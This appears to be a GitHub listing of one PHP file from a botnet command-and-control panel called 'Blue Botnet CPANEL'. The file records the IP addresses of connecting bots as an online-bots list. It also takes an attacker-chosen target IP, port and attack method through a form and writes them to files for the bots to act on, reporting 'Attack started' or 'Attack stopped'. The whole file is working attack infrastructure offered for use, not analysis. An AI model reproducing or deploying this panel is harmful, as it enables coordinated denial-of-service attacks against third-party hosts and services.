Repository navigation
Expand file tree
/
Copy pathonlinebots.php
More file actions
189 lines (172 loc) · 4.66 KB
/
Copy pathonlinebots.php
File metadata and controls
189 lines (172 loc) · 4.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
<?php
$dataFile = "visitors.txt";
$sessionTime = 5; //this is the time in **minutes** to consider someone online before removing them from our file
//Please do not edit bellow this line
error_reporting(E_ERROR | E_PARSE);
if(!file_exists($dataFile)) {
$fp = fopen($dataFile, "w+");
fclose($fp);
}
$ip = $_SERVER['REMOTE_ADDR'];
$users = array();
$onusers = array();
//getting
$fp = fopen($dataFile, "r");
flock($fp, LOCK_SH);
while(!feof($fp)) {
$users[] = rtrim(fgets($fp, 32));
}
flock($fp, LOCK_UN);
fclose($fp);
//cleaning
$x = 0;
$alreadyIn = FALSE;
foreach($users as $key => $data) {
list( , $lastvisit) = explode("|", $data);
if(time() - $lastvisit >= $sessionTime * 60) {
$users[$x] = "";
} else {
if(strpos($data, $ip) !== FALSE) {
$alreadyIn = TRUE;
$users[$x] = "$ip|" . time(); //updating
}
}
$x++;
}
//writing
$fp = fopen($dataFile, "w+");
flock($fp, LOCK_EX);
$i = 0;
foreach($users as $single) {
if($single != "") {
fwrite($fp, $single . "\r\n");
$i++;
}
}
flock($fp, LOCK_UN);
fclose($fp);
if($uo_keepquiet != TRUE) {
//echo $i;
}
?>
<!DOCTYPE html>
<!--[if IE 8]><html class="no-js lt-ie9" lang="en" ><![endif]-->
<!--[if gt IE 8]><!--><html class="no-js" ><!--<![endif]-->
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Blue Botnet CPANEL</title>
<!-- Fogli di stile -->
<link href="css/bootstrap.css" rel="stylesheet" media="screen">
<link href="css/stili-custom.css" rel="stylesheet" media="screen">
<!-- Modernizr -->
<script src="js/modernizr.custom.js"></script>
<style>
body {background-color:#C4D5E5;}
.tce {
margin-left: auto !important;
margin-right: auto !important;
width:520px !important;
max-width:520px !important;
}
</style>
<!-- respond.js per IE8 -->
<!--[if lt IE 9]>
<script src="js/respond.min.js"></script>
<![endif]-->
</head>
<body bgcolor="#C4D5E5">
<!--<center>-->
<br>
<div class="tce"><br>
<?php
if (!file_exists("phash")){
header("Location: register.php");
}
$filename = "phash";
$fp = fopen($filename, "r");
$content = fread($fp, filesize($filename));
fclose($fp);
$storedPassHash = $content;
$passHash = $_COOKIE['phash'];
if (md5("randomsalt".$passHash) != $storedPassHash){
header("Location: login.php");
}
$ip = $_POST['ipaddress'];
$port = $_POST['port'];
$method = $_POST['method'];
if ($ip == "STOP")
$method = "STOP";
if ($ip == "")
$ip = $_GET['ipaddress'];
if ($port == "")
$port = $_GET['port'];
if ($method == "")
$method = $_GET['method'];
if ($ip != ""){
$fh = fopen("target.ip", 'w+');
fwrite($fh, $ip);
fclose($fh);
$fh = fopen("target.port", 'w+');
fwrite($fh, $port);
fclose($fh);
$fh = fopen("target.method", 'w+');
fwrite($fh, $method);
fclose($fh);
if ($method != "STOP")
echo '<div class="alert alert-success alert-dismissable"> <button type="button" class="close" data-dismiss="alert">×</button> Attack started </div> ';
else
echo '<div class="alert alert-danger alert-dismissable"> <button type="button" class="close" data-dismiss="alert">×</button> Attack stopped </div> ';
}
?>
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Blue Botnet CPANEL</h3>
</div>
<div class="panel-body">
<form action="index.php" method="post">
<ul class="nav nav-pills">
<li><a href="index.php">Attack Hub</a></li>
<li><a href="settings.php">Settings</a></li>
<li class="active"><a href="#">Online Bots</a></li>
<li><a href="logout.php">Logout</a></li>
</ul><br><br>
<table class="table table-bordered">
<thead>
<tr>
<th>ID</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<?php
$filename = "visitors.txt";
if ( 0 == filesize( $filename ) )
{
echo "<b>No bots D:</b><br><br>";
} else {
$fp = fopen($filename, "r");
$content = fread($fp, filesize($filename));
fclose($fp);
$bots = explode("\n", $content);
for ($i=0; $i<count($bots) - 1; $i++){
echo "<tr><td>".$i."</td>";
$bp = explode('|', $bots[$i]);
echo "<td>".$bp[0]."</td></tr>";
}
}
?>
</tbody>
</table>
</div>
</div>
</div>
<!--</center>-->
<br>
<!-- jQuery e plugin JavaScript -->
<script src="http://code.jquery.com/jquery.js"></script>
<script src="js/bootstrap.min.js"></script>
</body>
</html>